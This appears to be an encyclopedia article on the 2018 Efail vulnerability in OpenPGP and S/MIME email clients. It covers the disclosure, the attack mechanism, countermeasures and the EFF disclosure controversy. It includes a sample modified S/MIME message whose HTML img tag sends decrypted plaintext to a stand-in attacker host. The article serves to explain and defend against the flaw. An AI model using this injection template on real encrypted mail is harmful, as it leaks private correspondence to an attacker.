Two related Common Vulnerabilities and Exposures IDs, CVE-2017-17688 and CVE-2017-17689, have been issued. The security gap was made public on 13 May 2018 by Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky and Jörg Schwenk as part of a contribution to the 27th USENIX Security Symposium, Baltimore, August 2018.
As a result of the vulnerability, the content of an attacked encrypted email can be transmitted to the attacker in plain text by a vulnerable email client. The used encryption keys are not disclosed.
The security gap concerns many common email programs when used with the email encryption systems OpenPGP and S/MIME. An attacker needs access to the attacked email message in its encrypted form, as well as the ability to send an email to at least one regular recipient of this original email. To exploit the security gap, the attacker modifies the encrypted email, causing the recipient's email program to send the decrypted content of the email to the attacker.
To access the decrypted content of an encrypted email, the attacker modifies the email to be attacked to contain text prepared by the attacker in a specific way. The attacker then sends the changed email to one of the regular recipients.
The attacker inserts additional text before and after the encrypted text in the encrypted email, thereby changing the message so that a multipart/mixed (MIME) message is created and the encrypted part of the message appears together with the limit marks of the MIME message as a parameter value of an HTML tag.
Example of a modified S/MIME mail:
[...] Content-Type: multipart/mixed;boundary="BOUNDARY" [...] --BOUNDARY Content-Type: text/html <img src="http://attacker.chosen.url/ --BOUNDARY Content-Type: application/pkcs7-mime; s-mime-typed-envelope-data Content-Transfer-Encoding: base64 ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE --BOUNDARY Content-Type: text/html "> --BOUNDARY ...
The email client first breaks down the multipart message into its individual parts using the
--BOUNDARY tag and then decrypts the encrypted parts. It then reassembles the multipart message, and receives the message in this way:
[...] Content-Type: multipart/mixed;boundary="BOUNDARY" [...] --BOUNDARY Content-Type: text/html <img src="http://attacker.chosen.url/ SECRETMESSAGESECRETMESSAGE"> --BOUNDARY ...
This message now contains the decrypted content of the email in the
src= attribute of the
<img> tag and is passed by the email program as URL to the web server
attacker.chosen.url controlled by the attacker, when this content is requested. The attacker can now retrieve the content of the encrypted message from its web server logs.
In a variant of the attack, the attacker uses a vulnerability in the CBC (S/MIME) and CFB (OpenPGP) operating modes of the encryption algorithms used. This allows him to change the ciphertext by inserting gadgets. As a side effect of this manipulation, the originally contained plain text becomes illegible. If this was known, the attacker can correct this by inserting additional gadgets. The attacker can hide unknown plain text by inserting certain HTML tags. The result is a message with a similar structure as described above.
Since the vulnerability is directed against the content of the email and not against the recipient, it is necessary that all recipients implement the countermeasures. These include:
- Suppress automatic reloading of external content, such as images.
To what extent even the senders of encrypted content can reduce the vulnerability, e.g. by electronic signatures or the limitation to a subset of MIME formats, has not yet been conclusively clarified.
Announcing the security vulnerability on 13 May 2018 the Electronic Frontier Foundation (EFF) recommended to stop using any PGP plugins in email programs even though the vulnerability does not directly relate to PGP but to the configuration of an email program. A coordinated publication was originally scheduled for the 15 May. The EFF was criticized for ignoring this by various parties.
As a consequence of this, Robert Hansen recommended to establish a closed group or mailing list to better coordinate the publication of future security issues. Still, he saw the EFF and its director Danny O'Brien as the best entity to administer such an "OpenPGP Disclosure Group".
- ^ a b "Decade-old Efail flaws can leak plaintext of PGP- and S/MIME-encrypted emails". arstechnica.com. 2018-05-14.
- ^ "EFF on Twitter". Twitter. Electronic Frontier Foundation (EFF). 2018-05-13. Retrieved 2018-05-17.
To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in.
- ^ O'Brien, Danny; Gebhart, Gennie (2018-05-13), Attention PGP Users: New Vulnerabilities Require You To Take Action Now, Electronic Frontier Foundation (EFF), retrieved 2018-05-17
- ^ "Kommentar: Efail ist ein EFFail". heise online (in German). 2018-05-16. Retrieved 2018-05-17.
- ^ "Enigmail-Chefentwickler im Interview: Efail-Veröffentlichung war "unüberlegt"". heise security (in German). 2018-05-15. Retrieved 2018-05-17.
- ^ Koch, Werner (2018-05-14). "Efail or OpenPGP is safer than S/MIME". gnupg-users. Retrieved 2018-05-17.
- ^ Green, Matthew (2018-05-17). "Was the Efail disclosure horribly screwed up?". A Few Thoughts on Cryptographic Engineering. Retrieved 2018-05-17.
- ^ "Hashtag #EFFail auf Twitter" (in German). Retrieved 2018-05-17.
- ^ Hansen, Robert (2018-05-20). "Efail: A Postmortem". medium.com. Retrieved 2018-05-21.
- Poddebniak, Damian; Dresen, Christian; Müller, Jens; Ising, Fabian; Schinzel, Sebastian; Friedberger, Simon; Somorovsky, Juraj; Schwenk, Jörg. "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels" (PDF). Efail.de. Draft 0.9.1. Archived (PDF) from the original on 2018-05-21. Retrieved 2018-05-14.